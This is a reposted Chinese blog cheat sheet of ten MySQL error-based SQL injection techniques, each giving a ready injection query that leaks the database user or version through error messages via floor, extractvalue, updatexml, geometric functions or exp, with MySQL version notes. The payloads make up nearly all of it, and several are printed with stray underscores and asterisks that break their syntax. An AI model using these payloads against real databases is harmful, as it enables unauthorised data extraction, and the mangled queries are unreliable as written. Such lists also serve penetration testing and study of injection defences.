MySQL常见十种报错注入

    floor()

    常用报错注入方法之一

    数据库语句:select * from test where id=1 and (select 1 from (select count(*_),concat(VERSION(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    extractvalue()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    updatexml()

    常用报错注入方法之一

    mysql5.1.5开始可用

    数据库语句:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    geometrycollection()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and geometrycollection((_select *_ from_(select * from(select user())a)b));

    multipoint()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipoint((_select *_ from_(select * from(select user())a)b));

    polygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and polygon((_select *_ from_(select * from(select user())a)b));

    multipolygon()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select *_ from test where id=1 and multipolygon((_select *_ from_(select * from(select user())a)b));

    linestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and linestring((_select *_ from_(select * from(select user())a)b));

    multilinestring()

    几何函数-版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and multilinestring((_select *_ from_(select * from(select user())a)b));

    exp()

    版本-5.5.47可以用来注入,5.5.53不行

    数据库语句:select * from test where id=1 and exp(~(_select *_ from_(select user())a));

文章来源地址https://uudwc.com/A/83qy

原文地址:https://blog.csdn.net/weixin_52501704/article/details/127098274

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请联系站长进行投诉反馈,一经查实,立即删除!

h
上一篇 2023年06月16日 15:04
DNAT(目的地址转换)-IP映射和端口映射
下一篇 2023年06月16日 15:04